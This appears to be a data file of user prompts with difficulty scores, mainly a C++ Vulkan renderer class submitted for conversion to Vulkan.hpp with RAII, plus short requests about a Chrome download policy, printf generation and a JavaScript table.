ChoosePhysicalDevice(); void CreateDevice(); void CleanupDevice(); void CreateSwapchain(); void CleanupSwapchain(); void CreateCommandPool(); void CleanupCommandPool(); void CreateFramebuffers(); void CleanupFramebuffers(); void CreateCommandBuffers(); void CleanupCommandBuffers(); void Present(); GLFWwindow* window; VkInstance instance = VK_NULL_HANDLE; VkPhysicalDevice physicalDevice = VK_NULL_HANDLE; VkDevice device = VK_NULL_HANDLE; VkSurfaceKHR surface; VkSwapchainKHR swapchain; VkCommandPool commandPool; VkCommandBuffer currentCommandBuffer; std::vector<VkFramebuffer> framebuffers; // Additional Vulkan objects needed for rendering… const uint32_t kMaxFramesInFlight = 2; std::vector<VkSemaphore> imageAvailableSemaphores; std::vector<VkSemaphore> renderFinishedSemaphores; std::vector<VkFence> inFlightFences; size_t currentFrame; VkQueue graphicsQueue; VkQueue presentQueue; void CreateSyncObjects(); void CleanupSyncObjects(); SwapChainSupportDetails querySwapChainSupport(VkPhysicalDevice device, VkSurfaceKHR surface); VkSurfaceFormatKHR chooseSwapSurfaceFormat(const std::vector<VkSurfaceFormatKHR>& availableFormats); VkPresentModeKHR chooseSwapPresentMode(const std::vector<VkPresentModeKHR>& availablePresentModes); VkExtent2D chooseSwapExtent(const VkSurfaceCapabilitiesKHR& capabilities, GLFWwindow* window); std::vector<const char*> deviceExtensions = { VK_KHR_SWAPCHAIN_EXTENSION_NAME }; std::vector<const char*> CheckPhysicalDeviceExtensionSupport(VkPhysicalDevice physicalDevice); QueueFamilyIndices GetQueueFamilyIndices(VkPhysicalDevice physicalDevice); }; Renderer.cpp: #include "Renderer.h" Renderer::Renderer() : currentFrame(0), shutdownInProgress(false) { } Renderer::~Renderer() { Shutdown(); } void Renderer::Initialize(GLFWwindow* window) { this->window = window; CreateInstance(); CreateSurface(); ChoosePhysicalDevice(); CreateDevice(); // Create the MVP buffers mvpBuffers.resize(kMvpBufferCount); mvpBufferMemory.resize(kMvpBufferCount); for (uint32_t i = 0; i < kMvpBufferCount; ++i) { BufferUtils::CreateBuffer(device, *GetPhysicalDevice(), sizeof(MVP), VK_BUFFER_USAGE_UNIFORM_BUFFER_BIT, VK_MEMORY_PROPERTY_HOST_VISIBLE_BIT | VK_MEMORY_PROPERTY_HOST_COHERENT_BIT, mvpBuffers[i], mvpBufferMemory[i]); } CreateSwapchain(); CreateRenderPass(); CreateCommandPool(); CreateFramebuffers(); CreateSyncObjects(); } void Renderer::Shutdown() { if (isShutDown) { return; } if (shutdownInProgress) { return; } shutdownInProgress = true; if (device != VK_NULL_HANDLE) { vkDeviceWaitIdle(device); } CleanupFramebuffers(); CleanupRenderPass(); CleanupSyncObjects(); CleanupCommandPool(); CleanupImageViews(); CleanupSwapchain(); // Destroy the MVP buffers for (uint32_t i = 0; i < kMvpBufferCount; ++i) { vkDestroyBuffer(device, mvpBuffers[i], nullptr); vkFreeMemory(device, mvpBufferMemory[i], nullptr); } if (device != VK_NULL_HANDLE) { CleanupDevice(); } DestroySurface(); CleanupInstance(); shutdownInProgress = false; isShutDown = true; } void Renderer::BeginFrame() { // Wait for any previous work on this swapchain image to complete vkWaitForFences(device, 1, &inFlightFences[currentFrame], VK_TRUE, UINT64_MAX); vkResetFences(device, 1, &inFlightFences[currentFrame]); // Acquire an image from the swapchain, then begin recording commands for the current frame. VkResult acquireResult = vkAcquireNextImageKHR(device, swapchain, UINT64_MAX, imageAvailableSemaphores[currentFrame], VK_NULL_HANDLE, &imageIndex); if (acquireResult != VK_SUCCESS && acquireResult != VK_SUBOPTIMAL_KHR) { throw std::runtime_error("Failed to acquire next swapchain image."); } VkCommandBufferBeginInfo beginInfo{}; beginInfo.sType = VK_STRUCTURE_TYPE_COMMAND_BUFFER_BEGIN_INFO; //currentCommandBuffer = commandBuffers[currentFrame]; currentCmdBufferIndex = (currentCmdBufferIndex + 1) % 2; currentCommandBuffer = commandBuffers[currentFrame * 2 + currentCmdBufferIndex]; // Add debug message before vkBeginCommandBuffer //std::cout << "Current Frame: " << currentFrame << " | Cmd Buffer Index: " << currentCmdBufferIndex << " | Image Index: " << imageIndex << "\n"; //std::cout << "Calling vkBeginCommandBuffer…\n"; vkBeginCommandBuffer(currentCommandBuffer, &beginInfo); //std::cout << "vkBeginCommandBuffer called…\n"; VkRenderPassBeginInfo renderPassInfo{}; renderPassInfo.sType = VK_STRUCTURE_TYPE_RENDER_PASS_BEGIN_INFO; renderPassInfo.renderPass = renderPass; renderPassInfo.framebuffer = framebuffers[imageIndex]; renderPassInfo.renderArea.offset = { 0, 0 }; renderPassInfo.renderArea.extent = swapChainExtent; // Set the clear color to black VkClearValue clearColor = { 0.0f, 0.0f, 0.0f, 1.0f }; renderPassInfo.clearValueCount = 1; renderPassInfo.pClearValues = &clearColor; vkCmdBeginRenderPass(currentCommandBuffer, &renderPassInfo, VK_SUBPASS_CONTENTS_INLINE); } void Renderer::EndFrame() { vkCmdEndRenderPass(currentCommandBuffer); VkSubmitInfo submitInfo{}; submitInfo.sType = VK_STRUCTURE_TYPE_SUBMIT_INFO; VkPipelineStageFlags waitStages[] = { VK_PIPELINE_STAGE_COLOR_ATTACHMENT_OUTPUT_BIT }; submitInfo.waitSemaphoreCount = 1; submitInfo.pWaitSemaphores = &imageAvailableSemaphores[currentFrame]; submitInfo.pWaitDstStageMask = waitStages; submitInfo.commandBufferCount = 1; submitInfo.pCommandBuffers = &currentCommandBuffer; submitInfo.signalSemaphoreCount = 1; submitInfo.pSignalSemaphores = &renderFinishedSemaphores[currentFrame]; vkEndCommandBuffer(currentCommandBuffer); vkQueueSubmit(graphicsQueue, 1, &submitInfo, inFlightFences[currentFrame]); VkPresentInfoKHR presentInfo{}; presentInfo.sType = VK_STRUCTURE_TYPE_PRESENT_INFO_KHR; presentInfo.waitSemaphoreCount = 1; presentInfo.pWaitSemaphores = &renderFinishedSemaphores[currentFrame]; VkSwapchainKHR swapChains[] = { swapchain }; presentInfo.swapchainCount = 1; presentInfo.pSwapchains = swapChains; presentInfo.pImageIndices = &imageIndex; VkResult queuePresentResult = vkQueuePresentKHR(presentQueue, &presentInfo); //std::cout << "Frame rendered: " << currentFrame << "\n"; if (queuePresentResult == VK_ERROR_OUT_OF_DATE_KHR || queuePresentResult == VK_SUBOPTIMAL_KHR) { // Handle swapchain recreation if needed, e.g., due to resizing the window or other swapchain properties changes } else if (queuePresentResult != VK_SUCCESS) { throw std::runtime_error("Failed to present the swapchain image."); } currentFrame = (currentFrame + 1) % kMaxFramesInFlight; } void Renderer::CreateSurface() { if (glfwCreateWindowSurface(instance, window, nullptr, &surface) != VK_SUCCESS) { throw std::runtime_error("Failed to create a window surface."); } } void Renderer::DestroySurface() { vkDestroySurfaceKHR(instance, surface, nullptr); } void Renderer::CreateInstance() { // Set up the application info VkApplicationInfo appInfo{}; appInfo.sType = VK_STRUCTURE_TYPE_APPLICATION_INFO; appInfo.pApplicationName = "Game Engine"; appInfo.applicationVersion = VK_MAKE_VERSION(1, 0, 0); appInfo.pEngineName = "Game Engine"; appInfo.engineVersion = VK_MAKE_VERSION(1, 0, 0); appInfo.apiVersion = VK_API_VERSION_1_2; // Set up the instance create info VkInstanceCreateInfo createInfo{}; createInfo.sType = VK_STRUCTURE_TYPE_INSTANCE_CREATE_INFO; createInfo.pApplicationInfo = &appInfo; // Set up the required extensions uint32_t glfwExtensionCount = 0; const char** glfwExtensions; glfwExtensions = glfwGetRequiredInstanceExtensions(&glfwExtensionCount); createInfo.enabledExtensionCount = glfwExtensionCount; createInfo.ppEnabledExtensionNames = glfwExtensions; createInfo.enabledLayerCount = 0; std::vector<const char*> validationLayers; #ifdef NDEBUG const bool enableValidationLayers = false; #else const bool enableValidationLayers = true; validationLayers.push_back("VK_LAYER_KHRONOS_validation"); #endif if (enableValidationLayers) { // Check if validation layers are supported uint32_t layerCount; vkEnumerateInstanceLayerProperties(&layerCount, nullptr); std::vector<VkLayerProperties> availableLayers(layerCount); vkEnumerateInstanceLayerProperties(&layerCount, availableLayers.data()); for (const char* layerName : validationLayers) { bool layerFound = false; for (const auto& layerProperties : availableLayers) { if (strcmp(layerName, layerProperties.layerName) == 0) { layerFound = true; break; } } if (!layerFound) { throw std::runtime_error("Validation layer requested, but it’s not available."); } } // Enable the validation layers createInfo.enabledLayerCount = static_cast<uint32_t>(validationLayers.size()); createInfo.ppEnabledLayerNames = validationLayers.data(); } else { createInfo.enabledLayerCount = 0; } // Create the Vulkan instance if (vkCreateInstance(&createInfo, nullptr, &instance) != VK_SUCCESS) { throw std::runtime_error("Failed to create the Vulkan instance."); } } void Renderer::CleanupInstance() { // Destroy the Vulkan instance vkDestroyInstance(instance, nullptr); } void Renderer::ChoosePhysicalDevice() { // Enumerate the available physical devices and choose one that supports required features uint32_t deviceCount = 0; vkEnumeratePhysicalDevices(instance, &deviceCount, nullptr); if (deviceCount == 0) { throw std::runtime_error("Failed to find a GPU with Vulkan support."); } std::vector<VkPhysicalDevice> allDevices(deviceCount); vkEnumeratePhysicalDevices(instance, &deviceCount, allDevices.data()); for (const auto& testDevice : allDevices) { if (glfwGetPhysicalDevicePresentationSupport(instance, testDevice, 0) && CheckPhysicalDeviceExtensionSupport(testDevice).empty() && GetQueueFamilyIndices(testDevice).IsComplete()) { VkPhysicalDeviceFeatures supportedFeatures; vkGetPhysicalDeviceFeatures(testDevice, &supportedFeatures); // Check for anisotropic filtering support if (supportedFeatures.samplerAnisotropy) { physicalDevice = testDevice; break; } } } if (physicalDevice == VK_NULL_HANDLE) { throw std::runtime_error("Failed to find a suitable GPU."); } } void Renderer::CreateDevice() { // Get the GPU’s queue family indices const QueueFamilyIndices indices = GetQueueFamilyIndices(physicalDevice); // Set up the device queue create info std::vector<VkDeviceQueueCreateInfo> queueCreateInfos; std::set<uint32_t> uniqueQueueFamilyIndices = { indices.graphicsFamily.value(),indices.presentFamily.value() }; float queuePriority = 1.0f; for (uint32_t queueFamilyIndex : uniqueQueueFamilyIndices) { VkDeviceQueueCreateInfo queueCreateInfo{}; queueCreateInfo.sType = VK_STRUCTURE_TYPE_DEVICE_QUEUE_CREATE_INFO; queueCreateInfo.queueFamilyIndex = queueFamilyIndex; queueCreateInfo.queueCount = 1; queueCreateInfo.pQueuePriorities = &queuePriority; queueCreateInfos.push_back(queueCreateInfo); } // Set up the physical device features VkPhysicalDeviceFeatures deviceFeatures{}; deviceFeatures.samplerAnisotropy = VK_TRUE; // Enable anisotropic filtering // Set up the device create info VkDeviceCreateInfo createInfo{}; createInfo.sType = VK_STRUCTURE_TYPE_DEVICE_CREATE_INFO; createInfo.queueCreateInfoCount = static_cast<uint32_t>(queueCreateInfos.size()); createInfo.pQueueCreateInfos = queueCreateInfos.data(); createInfo.pEnabledFeatures = &deviceFeatures; createInfo.enabledExtensionCount = static_cast<uint32_t>(deviceExtensions.size()); createInfo.ppEnabledExtensionNames = deviceExtensions.data(); // Create the logical device if (vkCreateDevice(physicalDevice, &createInfo, nullptr, &device) != VK_SUCCESS) { throw std::runtime_error("Failed to create a logical device."); } // Retrieve the graphics queue and the present queue vkGetDeviceQueue(device, indices.graphicsFamily.value(), 0, &graphicsQueue); vkGetDeviceQueue(device, indices.presentFamily.value(), 0, &presentQueue); } void Renderer::CleanupDevice() { // Reset the pipeline first to ensure it’s destroyed before the device pipeline.reset(); // Destroy the logical device vkDestroyDevice(device, nullptr); } void Renderer::CreateSwapchain() { // Get swapchain support details SwapChainSupportDetails swapChainSupport = querySwapChainSupport(physicalDevice,surface); VkSurfaceFormatKHR surfaceFormat = chooseSwapSurfaceFormat(swapChainSupport.formats); swapChainImageFormat = surfaceFormat.format; // Initialize the swapChainImageFormat VkPresentModeKHR presentMode = chooseSwapPresentMode(swapChainSupport.presentModes); VkExtent2D extent = chooseSwapExtent(swapChainSupport.capabilities,window); // Update the swapChainExtent with the chosen extent swapChainExtent = extent; uint32_t imageCount = swapChainSupport.capabilities.minImageCount + 1; if (swapChainSupport.capabilities.maxImageCount > 0 && imageCount > swapChainSupport.capabilities.maxImageCount) { imageCount = swapChainSupport.capabilities.maxImageCount; } // Create the swapchain // … VkSwapchainCreateInfoKHR createInfo{}; createInfo.sType = VK_STRUCTURE_TYPE_SWAPCHAIN_CREATE_INFO_KHR; createInfo.surface = surface; createInfo.minImageCount = imageCount; createInfo.imageFormat = surfaceFormat.format; createInfo.imageColorSpace = surfaceFormat.colorSpace; createInfo.imageExtent = extent; createInfo.imageArrayLayers = 1; createInfo.imageUsage = VK_IMAGE_USAGE_COLOR_ATTACHMENT_BIT; QueueFamilyIndices indices = GetQueueFamilyIndices(physicalDevice); uint32_t queueFamilyIndices[] = { indices.graphicsFamily.value(), indices.presentFamily.value() }; if (indices.graphicsFamily != indices.presentFamily) { createInfo.imageSharingMode = VK_SHARING_MODE_CONCURRENT; createInfo.queueFamilyIndexCount = 2; createInfo.pQueueFamilyIndices = queueFamilyIndices; } else { createInfo.imageSharingMode = VK_SHARING_MODE_EXCLUSIVE; } createInfo.preTransform = swapChainSupport.capabilities.currentTransform; createInfo.compositeAlpha = VK_COMPOSITE_ALPHA_OPAQUE_BIT_KHR; createInfo.presentMode = presentMode; createInfo.clipped = VK_TRUE; if (vkCreateSwapchainKHR(device, &createInfo, nullptr, &swapchain) != VK_SUCCESS) { throw std::runtime_error("failed to create swap chain!"); } // Retrieve swapchain images (color buffers) // … // Retrieve swapchain images vkGetSwapchainImagesKHR(device, swapchain, &imageCount, nullptr); swapChainImages.resize(imageCount); vkGetSwapchainImagesKHR(device, swapchain, &imageCount, swapChainImages.data()); // Create image views for swapchain images CreateImageViews(); } void Renderer::CleanupSwapchain() { // Clean up Vulkan swapchain if (swapchain != VK_NULL_HANDLE) { vkDestroySwapchainKHR(device, swapchain, nullptr); swapchain = VK_NULL_HANDLE; } } void Renderer::CreateImageViews() { swapChainImageViews.resize(swapChainImages.size()); for (size_t i = 0; i < swapChainImages.size(); ++i) { VkImageViewCreateInfo createInfo{}; createInfo.sType = VK_STRUCTURE_TYPE_IMAGE_VIEW_CREATE_INFO; createInfo.image = swapChainImages[i]; createInfo.viewType = VK_IMAGE_VIEW_TYPE_2D; createInfo.format = swapChainImageFormat; createInfo.components.r = VK_COMPONENT_SWIZZLE_IDENTITY; createInfo.components.g = VK_COMPONENT_SWIZZLE_IDENTITY; createInfo.components.b = VK_COMPONENT_SWIZZLE_IDENTITY; createInfo.components.a = VK_COMPONENT_SWIZZLE_IDENTITY; createInfo.subresourceRange.aspectMask = VK_IMAGE_ASPECT_COLOR_BIT; createInfo.subresourceRange.baseMipLevel = 0; createInfo.subresourceRange.levelCount = 1; createInfo.subresourceRange.baseArrayLayer = 0; createInfo.subresourceRange.layerCount = 1; createInfo.flags = 0; if (vkCreateImageView(device, &createInfo, nullptr, &swapChainImageViews[i]) != VK_SUCCESS) { throw std::runtime_error("Failed to create an image view."); } } } void Renderer::CleanupImageViews() { for (auto imageView : swapChainImageViews) { vkDestroyImageView(device, imageView, nullptr); } swapChainImageViews.clear(); } void Renderer::CreateRenderPass() { VkAttachmentDescription colorAttachment{}; colorAttachment.format = swapChainImageFormat; colorAttachment.samples = VK_SAMPLE_COUNT_1_BIT; colorAttachment.loadOp = VK_ATTACHMENT_LOAD_OP_CLEAR; colorAttachment.storeOp = VK_ATTACHMENT_STORE_OP_STORE; colorAttachment.stencilLoadOp = VK_ATTACHMENT_LOAD_OP_DONT_CARE; colorAttachment.stencilStoreOp = VK_ATTACHMENT_STORE_OP_DONT_CARE; colorAttachment.initialLayout = VK_IMAGE_LAYOUT_UNDEFINED; colorAttachment.finalLayout = VK_IMAGE_LAYOUT_PRESENT_SRC_KHR; VkAttachmentReference colorAttachmentRef{}; colorAttachmentRef.attachment = 0; colorAttachmentRef.layout = VK_IMAGE_LAYOUT_COLOR_ATTACHMENT_OPTIMAL; VkSubpassDescription subpass{}; subpass.pipelineBindPoint = VK_PIPELINE_BIND_POINT_GRAPHICS; subpass.colorAttachmentCount = 1; subpass.pColorAttachments = &colorAttachmentRef; VkRenderPassCreateInfo renderPassInfo{}; renderPassInfo.sType = VK_STRUCTURE_TYPE_RENDER_PASS_CREATE_INFO; renderPassInfo.attachmentCount = 1; renderPassInfo.pAttachments = &colorAttachment; renderPassInfo.subpassCount = 1; renderPassInfo.pSubpasses = &subpass; VkSubpassDependency dependency{}; dependency.srcSubpass = VK_SUBPASS_EXTERNAL; dependency.dstSubpass = 0; dependency.srcStageMask = VK_PIPELINE_STAGE_COLOR_ATTACHMENT_OUTPUT_BIT; dependency.srcAccessMask = 0; dependency.dstStageMask = VK_PIPELINE_STAGE_COLOR_ATTACHMENT_OUTPUT_BIT; dependency.dstAccessMask = VK_ACCESS_COLOR_ATTACHMENT_WRITE_BIT; renderPassInfo.dependencyCount = 1; renderPassInfo.pDependencies = &dependency; if (vkCreateRenderPass(device, &renderPassInfo, nullptr, &renderPass) != VK_SUCCESS) { throw std::runtime_error("Failed to create render pass."); } } void Renderer::CleanupRenderPass() { vkDestroyRenderPass(device, renderPass, nullptr); } void Renderer::CreateCommandPool() { // Find a queue family index that supports graphics operations QueueFamilyIndices queueFamilyIndices = GetQueueFamilyIndices(physicalDevice); // Create a command pool for the queue family VkCommandPoolCreateInfo poolInfo{}; poolInfo.sType = VK_STRUCTURE_TYPE_COMMAND_POOL_CREATE_INFO; poolInfo.queueFamilyIndex = queueFamilyIndices.graphicsFamily.value(); poolInfo.flags = VK_COMMAND_POOL_CREATE_RESET_COMMAND_BUFFER_BIT; // Set the flag here if (vkCreateCommandPool(device, &poolInfo, nullptr, &commandPool) != VK_SUCCESS) { throw std::runtime_error("Failed to create command pool."); } CreateCommandBuffers(); // Create command buffers after creating the command pool } void Renderer::CleanupCommandPool() { // Clean up Vulkan command pool CleanupCommandBuffers(); // Add this line to clean up command buffers before destroying the command pool vkDestroyCommandPool(device, commandPool, nullptr); } void Renderer::CreateCommandBuffers() { //commandBuffers.resize(kMaxFramesInFlight); commandBuffers.resize(kMaxFramesInFlight * 2); VkCommandBufferAllocateInfo allocInfo{}; allocInfo.sType = VK_STRUCTURE_TYPE_COMMAND_BUFFER_ALLOCATE_INFO; allocInfo.commandPool = commandPool; allocInfo.level = VK_COMMAND_BUFFER_LEVEL_PRIMARY; allocInfo.commandBufferCount = static_cast<uint32_t>(commandBuffers.size()); if (vkAllocateCommandBuffers(device, &allocInfo, commandBuffers.data()) != VK_SUCCESS) { throw std::runtime_error("Failed to allocate command buffers."); } // Set the initial value of the currentCommandBuffer currentCommandBuffer = commandBuffers[currentFrame]; } void Renderer::CleanupCommandBuffers() { vkFreeCommandBuffers(device, commandPool, static_cast<uint32_t>(commandBuffers.size()), commandBuffers.data()); } void Renderer::CreateFramebuffers() { // Check if the framebuffers vector is not empty, and call CleanupFramebuffers() if (!framebuffers.empty()) { CleanupFramebuffers(); } // Create Vulkan framebuffers for swapchain images framebuffers.resize(swapChainImageViews.size()); for (size_t i = 0; i < swapChainImageViews.size(); ++i) { VkImageView attachments[] = { swapChainImageViews[i] }; VkFramebufferCreateInfo framebufferInfo{}; framebufferInfo.sType = VK_STRUCTURE_TYPE_FRAMEBUFFER_CREATE_INFO; framebufferInfo.renderPass = renderPass; framebufferInfo.attachmentCount = 1; framebufferInfo.pAttachments = attachments; framebufferInfo.width = swapChainExtent.width; framebufferInfo.height = swapChainExtent.height; framebufferInfo.layers = 1; if (vkCreateFramebuffer(device, &framebufferInfo, nullptr, &framebuffers[i]) != VK_SUCCESS) { throw std::runtime_error("Failed to create framebuffer."); } } } void Renderer::CleanupFramebuffers() { for (auto framebuffer : framebuffers) { if (framebuffer != VK_NULL_HANDLE) { vkDestroyFramebuffer(device, framebuffer, nullptr); framebuffer = VK_NULL_HANDLE; } } framebuffers.clear(); // Make sure to clear the framebuffers vector after destroying each framebuffer } void Renderer::CreateSyncObjects() { imageAvailableSemaphores.resize(kMaxFramesInFlight, VK_NULL_HANDLE); renderFinishedSemaphores.resize(kMaxFramesInFlight, VK_NULL_HANDLE); inFlightFences.resize(kMaxFramesInFlight, VK_NULL_HANDLE); VkSemaphoreCreateInfo semaphoreInfo{}; semaphoreInfo.sType = VK_STRUCTURE_TYPE_SEMAPHORE_CREATE_INFO; VkFenceCreateInfo fenceInfo{}; fenceInfo.sType = VK_STRUCTURE_TYPE_FENCE_CREATE_INFO; fenceInfo.flags = VK_FENCE_CREATE_SIGNALED_BIT; for (size_t i = 0; i < kMaxFramesInFlight; ++i) { if (vkCreateSemaphore(device, &semaphoreInfo, nullptr, &imageAvailableSemaphores[i]) != VK_SUCCESS || vkCreateSemaphore(device, &semaphoreInfo, nullptr, &renderFinishedSemaphores[i]) != VK_SUCCESS || vkCreateFence(device, &fenceInfo, nullptr, &inFlightFences[i]) != VK_SUCCESS) { throw std::runtime_error("Failed to create synchronization objects for a frame."); } } } void Renderer::CleanupSyncObjects() { for (size_t i = 0; i < kMaxFramesInFlight; ++i) { if (renderFinishedSemaphores[i] != VK_NULL_HANDLE) vkDestroySemaphore(device, renderFinishedSemaphores[i], nullptr); if (imageAvailableSemaphores[i] != VK_NULL_HANDLE) vkDestroySemaphore(device, imageAvailableSemaphores[i], nullptr); if (inFlightFences[i] != VK_NULL_HANDLE) vkDestroyFence(device, inFlightFences[i], nullptr); } } SwapChainSupportDetails Renderer::querySwapChainSupport(VkPhysicalDevice device, VkSurfaceKHR surface) { SwapChainSupportDetails details; // Query the capabilities vkGetPhysicalDeviceSurfaceCapabilitiesKHR(device, surface, &details.capabilities); // Query the supported formats uint32_t formatCount; vkGetPhysicalDeviceSurfaceFormatsKHR(device, surface, &formatCount, nullptr); if (formatCount != 0) { details.formats.resize(formatCount); vkGetPhysicalDeviceSurfaceFormatsKHR(device, surface, &formatCount, details.formats.data()); } // Query the supported present modes uint32_t presentModeCount; vkGetPhysicalDeviceSurfacePresentModesKHR(device, surface, &presentModeCount, nullptr); if (presentModeCount != 0) { details.presentModes.resize(presentModeCount); vkGetPhysicalDeviceSurfacePresentModesKHR(device, surface, &presentModeCount, details.presentModes.data()); } return details; } VkSurfaceFormatKHR Renderer::chooseSwapSurfaceFormat(const std::vector<VkSurfaceFormatKHR>& availableFormats) { for (const auto& availableFormat : availableFormats) { if (availableFormat.format == VK_FORMAT_B8G8R8A8_SRGB && availableFormat.colorSpace == VK_COLOR_SPACE_SRGB_NONLINEAR_KHR) { return availableFormat; } } return availableFormats[0]; } VkPresentModeKHR Renderer::chooseSwapPresentMode(const std::vector<VkPresentModeKHR>& availablePresentModes) { for (const auto& availablePresentMode : availablePresentModes) { if (availablePresentMode == VK_PRESENT_MODE_MAILBOX_KHR) { return availablePresentMode; } } return VK_PRESENT_MODE_FIFO_KHR; } VkExtent2D Renderer::chooseSwapExtent(const VkSurfaceCapabilitiesKHR& capabilities, GLFWwindow* window) { if (capabilities.currentExtent.width != UINT32_MAX) { return capabilities.currentExtent; } else { int width, height; glfwGetFramebufferSize(window, &width, &height); VkExtent2D actualExtent = { static_cast<uint32_t>(width), static_cast<uint32_t>(height) }; actualExtent.width = std::max(capabilities.minImageExtent.width, std::min(capabilities.maxImageExtent.width, actualExtent.width)); actualExtent.height = std::max(capabilities.minImageExtent.height, std::min(capabilities.maxImageExtent.height, actualExtent.height)); return actualExtent; } } std::vector<const char*> Renderer::CheckPhysicalDeviceExtensionSupport(VkPhysicalDevice physicalDevice) { uint32_t extensionCount; vkEnumerateDeviceExtensionProperties(physicalDevice, nullptr, &extensionCount, nullptr); std::vector<VkExtensionProperties> availableExtensions(extensionCount); vkEnumerateDeviceExtensionProperties(physicalDevice, nullptr, &extensionCount, availableExtensions.data()); std::set<std::string> requiredExtensions(deviceExtensions.begin(), deviceExtensions.end()); for (const auto& extension : availableExtensions) { requiredExtensions.erase(extension.extensionName); } std::vector<const char*> remainingExtensions; for (const auto& extension : requiredExtensions) { remainingExtensions.push_back(extension.c_str()); } return remainingExtensions; } QueueFamilyIndices Renderer::GetQueueFamilyIndices(VkPhysicalDevice physicalDevice) { QueueFamilyIndices indices; uint32_t queueFamilyCount = 0; vkGetPhysicalDeviceQueueFamilyProperties(physicalDevice, &queueFamilyCount, nullptr); std::vector<VkQueueFamilyProperties> queueFamilies(queueFamilyCount); vkGetPhysicalDeviceQueueFamilyProperties(physicalDevice, &queueFamilyCount, queueFamilies.data()); int i = 0; for (const auto& queueFamily : queueFamilies) { if (queueFamily.queueFlags & VK_QUEUE_GRAPHICS_BIT) { indices.graphicsFamily = i; } VkBool32 presentSupport = false; vkGetPhysicalDeviceSurfaceSupportKHR(physicalDevice, i, surface, &presentSupport); if (presentSupport) { indices.presentFamily = i; } if (indices.IsComplete()) { break; } i++; } return indices; } VkDevice* Renderer::GetDevice() { return &device; }; VkPhysicalDevice* Renderer::GetPhysicalDevice() { return &physicalDevice; }; VkCommandPool* Renderer::GetCommandPool() { return &commandPool; }; VkQueue* Renderer::GetGraphicsQueue() { return &graphicsQueue; }; VkCommandBuffer* Renderer::GetCurrentCommandBuffer() { return &currentCommandBuffer; } VkDescriptorSetLayout Renderer::CreateDescriptorSetLayout() { VkDescriptorSetLayoutBinding uboLayoutBinding{}; uboLayoutBinding.binding = 0; uboLayoutBinding.descriptorType = VK_DESCRIPTOR_TYPE_UNIFORM_BUFFER; uboLayoutBinding.descriptorCount = 1; uboLayoutBinding.stageFlags = VK_SHADER_STAGE_VERTEX_BIT; uboLayoutBinding.pImmutableSamplers = nullptr; // Add sampler layout binding VkDescriptorSetLayoutBinding samplerLayoutBinding{}; samplerLayoutBinding.binding = 1; samplerLayoutBinding.descriptorType = VK_DESCRIPTOR_TYPE_COMBINED_IMAGE_SAMPLER; samplerLayoutBinding.descriptorCount = 1; samplerLayoutBinding.stageFlags = VK_SHADER_STAGE_FRAGMENT_BIT; samplerLayoutBinding.pImmutableSamplers = nullptr; std::array<VkDescriptorSetLayoutBinding, 2> bindings = { uboLayoutBinding, samplerLayoutBinding }; VkDescriptorSetLayoutCreateInfo layoutInfo{}; layoutInfo.sType = VK_STRUCTURE_TYPE_DESCRIPTOR_SET_LAYOUT_CREATE_INFO; layoutInfo.bindingCount = static_cast<uint32_t>(bindings.size()); layoutInfo.pBindings = bindings.data(); VkDescriptorSetLayout descriptorSetLayout; if (vkCreateDescriptorSetLayout(device, &layoutInfo, nullptr, &descriptorSetLayout) != VK_SUCCESS) { throw std::runtime_error("Failed to create descriptor set layout!"); } return descriptorSetLayout; } VkDescriptorPool Renderer::CreateDescriptorPool(uint32_t maxSets) { VkDescriptorPoolSize poolSize{}; poolSize.type = VK_DESCRIPTOR_TYPE_UNIFORM_BUFFER; poolSize.descriptorCount = maxSets; // Add an additional descriptor pool size for COMBINED_IMAGE_SAMPLER VkDescriptorPoolSize samplerPoolSize{}; samplerPoolSize.type = VK_DESCRIPTOR_TYPE_COMBINED_IMAGE_SAMPLER; samplerPoolSize.descriptorCount = maxSets; std::array<VkDescriptorPoolSize, 2> poolSizes = { poolSize, samplerPoolSize }; VkDescriptorPoolCreateInfo poolInfo{}; poolInfo.sType = VK_STRUCTURE_TYPE_DESCRIPTOR_POOL_CREATE_INFO; poolInfo.poolSizeCount = static_cast<uint32_t>(poolSizes.size()); poolInfo.pPoolSizes = poolSizes.data(); poolInfo.maxSets = maxSets; VkDescriptorPool descriptorPool; if (vkCreateDescriptorPool(device, &poolInfo, nullptr, &descriptorPool) != VK_SUCCESS) { throw std::runtime_error("Failed to create descriptor pool!"); } return descriptorPool; } void Renderer::CreateGraphicsPipeline(Mesh* mesh, Material* material) { vkDeviceWaitIdle(device); if (pipeline) { pipeline->Cleanup(); } // Create pipeline object and configure its properties pipeline = std::make_shared<Pipeline>(); pipeline->CreateGraphicsPipeline(mesh->GetVertexInputBindingDescriptions(), mesh->GetVertexInputAttributeDescriptions(), swapChainExtent, {material->GetvertexShader().get(), material->GetfragmentShader().get()}, renderPass, material->GetPipelineLayout(), device); } std::shared_ptr<Pipeline> Renderer::GetPipeline() { return pipeline; } std::pair<VkBuffer, VkDeviceMemory> Renderer::RequestMvpBuffer() { uint32_t mvpBufferIndex = currentMvpBufferIndex; VkBuffer mvpBuffer = mvpBuffers[mvpBufferIndex]; VkDeviceMemory& requestedMvpBufferMemory = mvpBufferMemory[mvpBufferIndex]; // Changed the variable name currentMvpBufferIndex = (currentMvpBufferIndex + 1) % kMvpBufferCount; return std::make_pair(mvpBuffer, requestedMvpBufferMemory); } Can you convert the above code to make best use of Vulkan.hpp and properly implement RAII?
0319bb05b3ad873f0d5294bafcca3c72
{ "intermediate": 0.3268023133277893, "beginner": 0.3990335762500763, "expert": 0.274164080619812 }
11,805
When I download an exe file on Google Chrome on a Windows 10 PC it gets to 100% and then says 'Failed - Insufficient permissions', because there is a policy that blocks these files from being saved to the drive which I added accidentally and need to disable. Please write a Batch script that fixes this.
0cb0d62e0ea5c9f78725a8e791633620
{ "intermediate": 0.3065071403980255, "beginner": 0.2727818787097931, "expert": 0.42071104049682617 }
11,806
write a program in any prorammin language that can take a multi line string like a song and make them into individual c++ printf statements
cd71ddf50b1cc42ed9325dae5ccc4095
{ "intermediate": 0.2726588249206543, "beginner": 0.5466934442520142, "expert": 0.18064776062965393 }
11,807
write a program in any prorammin language that can take a multi line string like a song and make them into individual c++ printf statements
28fa2ba227d9029da6ec7c2d5b812735
{ "intermediate": 0.2726588249206543, "beginner": 0.5466934442520142, "expert": 0.18064776062965393 }
11,808
javascript create a table that has [1] = {['id'] = 1, ['type'] = "store", ['location'] = "yo mama", ['dist'] = 6.9, ['recived'] = 0, ['units'] = 0}, [2] = {['id'] = 2, ['type'] = "house", ['location'] = "yo mama2", ['dist'] = 5.2, ['recived'] = 5, ['units'] = 1},
71067ee03e903eb08287e3db5e4cce0b
